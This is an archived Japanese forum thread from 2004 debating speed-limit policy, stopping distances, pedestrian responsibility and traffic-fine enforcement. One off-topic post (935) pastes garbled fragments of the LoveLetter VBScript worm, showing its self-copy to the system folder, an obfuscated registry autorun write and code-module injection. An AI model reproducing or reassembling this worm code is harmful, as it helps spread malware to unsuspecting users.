930 :名無しさん@お腹いっぱい。:04/03/09 12:17 ID:FKfzyHKH
それに今の車の大半がABSやVSC等が付いてるから急停止よりも急回避のほうが
事故を未然に防げるじゃないの?
まあ、パニクっているときにハンドル切れるかっていうのもあるけど。

931 :名無しさん@お腹いっぱい。:04/03/09 12:31 ID:FKfzyHKH
613=http://www.kik-izoku.com/

932 :名無しさん@お腹いっぱい。:04/03/09 13:32 ID:???
>だったら車がどんなにゆっくり走ろうが、
>必ず回避できるとは限らないんじゃないの。

ものすごいすり替え方だな。


933 :名無しさん@お腹いっぱい。:04/03/09 15:47 ID:???
またレスの流れが早くならないうちに・・・(速度違反だぞ!)

緩和派(漏れもだけど)に言いたい。

緩和派が、実情を考えると正しいことは分かっている。
みんなは制限速度が上がっても、力量で状況に応じた運転をできるしね。

でも、みんながみんな速度に対応できるわけでも、力量内で状況に応じて
走れるわけでもないと思う。
規制を変えても事故は増えないと思っているのだとしたら、現在、制限速度内
で走っている未熟な人が、速度を上げないという前提がないとムリだろう。

考えを変えてはどうだろう。
あなた達は事故を起こしたりしないだろうけど、あなた達の家族がとんでもない
暴走車や未熟な運転者による事故に巻きこまれないために、速度制限があると。

「そんな未熟なヤツに免許やるなよ」って突っ込みは当然だ。
だけど、そんな高度な要求は公安には無理だし、厳しくして車が売れなくなったら
メーカーが困るじゃん。

警察の気まぐれ的な取り締まりに腹が立っている人も、別に速度違反だけが
理不尽じゃないんだし(進入禁止や一時停止もだよ)保険か税金を払ったつもりで
我慢しよう。


934 :名無しさん@お腹いっぱい。:04/03/09 22:04 ID:???
>>933
>>とんでもない暴走車

現在の誰も納得しない速度規制が規制に対する信頼を損ない、「とんでもない暴走車」をむしろ増やしてる気がします。
規制を妥当な水準にすれば、「とんでもない暴走車」はむしろ減ると思います。

>>保険か税金を払ったつもりで我慢しよう。

問題は、点数が加算されると免停などになるという点。
警察も、反則金収入がいきなり激減するとOBの老後の生活設計が根底から崩れるので困るのなら、せめて点数制度はやめたらどうだろ。
利権を存続させる事が出来る上に、国民からの反発も和らぎ、一つの妥協案にはなり得ると思うのだが。


935 :名無しさん@お腹いっぱい。:04/03/09 22:06 ID:???
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN,
1)c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbsG.RegWrite
A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),E.BuildPath(E.GetSpecialFolder(1),
A("VHORU@SU/WCR"))lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

936 :名無しさん@お腹いっぱい。:04/03/09 22:12 ID:???
>>929
その通りだと思う。
歩行者が車道へ侵入したり、まして飛び出したりした場合でも事故が起きないようにしてたらキリが無い。
そんな考え方をすると、速度制限は際限なく厳しくなる。

自動車同士でも、優先道路を走行中に路肩から飛び出して来た車とぶつかったら、当然飛び出して来た方が悪いよね。
まして、歩行者には歩道というものがあるんだから、車道に出て来るのが間違い。


937 :名無しさん@お腹いっぱい。:04/03/09 23:26 ID:???
>>934

>現在の誰も納得しない速度規制が規制に対する信頼を損ない、「とんでもない暴走車」をむしろ増やしてる気がします。
>規制を妥当な水準にすれば、「とんでもない暴走車」はむしろ減ると思います。

そう思う根拠があれば示して欲しいな。
おれは規制緩和しても速度違反犯す奴は大して減らないと思うよ。
人は慣れがあるからね。
いつかその時の現状に不満の声が出ると思う。

>警察も、反則金収入がいきなり激減するとOBの老後の生活設計が根底から崩れるので困るのなら、
>せめて点数制度はやめたらどうだろ

そんなに自分の金が警察の懐に入るのがいやならば、「みんなで絶対に交通違反を犯さない運動を起こすスレ」
とか立てればいいのに。
俺なんか今まで反則金払ったこと無いよ。
なんで君はそんなに反則金払うの?


938 :名無しさん@お腹いっぱい。:04/03/09 23:38 ID:???
馬鹿の見本その3

>現状維持派が言っている停止距離が伸びるから駄目理論は少し的を得てないと思う。

彼は物理が苦手なようです。
制動距離と安全度は全く関係ないと思っている模様。

>そもそもなんで急停止しなくてはいけない状態なのかを考えればだよ、
>歩行者あるいは自転車が確認もなく急に動いたかからでしょ、だったら車がどんなにゆっくり走ろうが、
>必ず回避できるとは限らないんじゃないの。歩行者だってしっかり確認し、横断歩道等でわたれば事故は起こりにくいんだと思うし。
>歩行者等が自ら進んで危ないことして事故があれば車が悪いんだ、じゃ自己責任放棄してんじゃん。

交通事故は交通強者と交通弱者との間にしか起きないそうです。
つまり交通強者同士の事故は想像つかないのでしょう。
急ブレーキの原因はわき見とか障害物とか危険と思われる地点の確認不足とか
いろいろあるんだけど、経験が無いって事はもしかして無免許?

>だから交通弱者といわれる人も主張ばかりしないで、交通社会の一人だという事を自覚させた上で、制限速度の引き上げをすればいい。

幼児にまで責任を負わせようとしていますね。
もはや救いようがありません。
きっと親の責任とか言うに違いありません。
彼は自分の子に首輪でもつけて奥さんにストーカー並の監視をせるるのでしょうか?
それで自分の子が事故に遭ったら奥さんのせいにするのでしょうね。

そもそも自分が事故を起こさない点しか述べていませんね。
もし被害者になったらどう思うでしょう?
下半身付随になっても賠償金さえ払えば喜んで示談してくれそうですね。


501 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)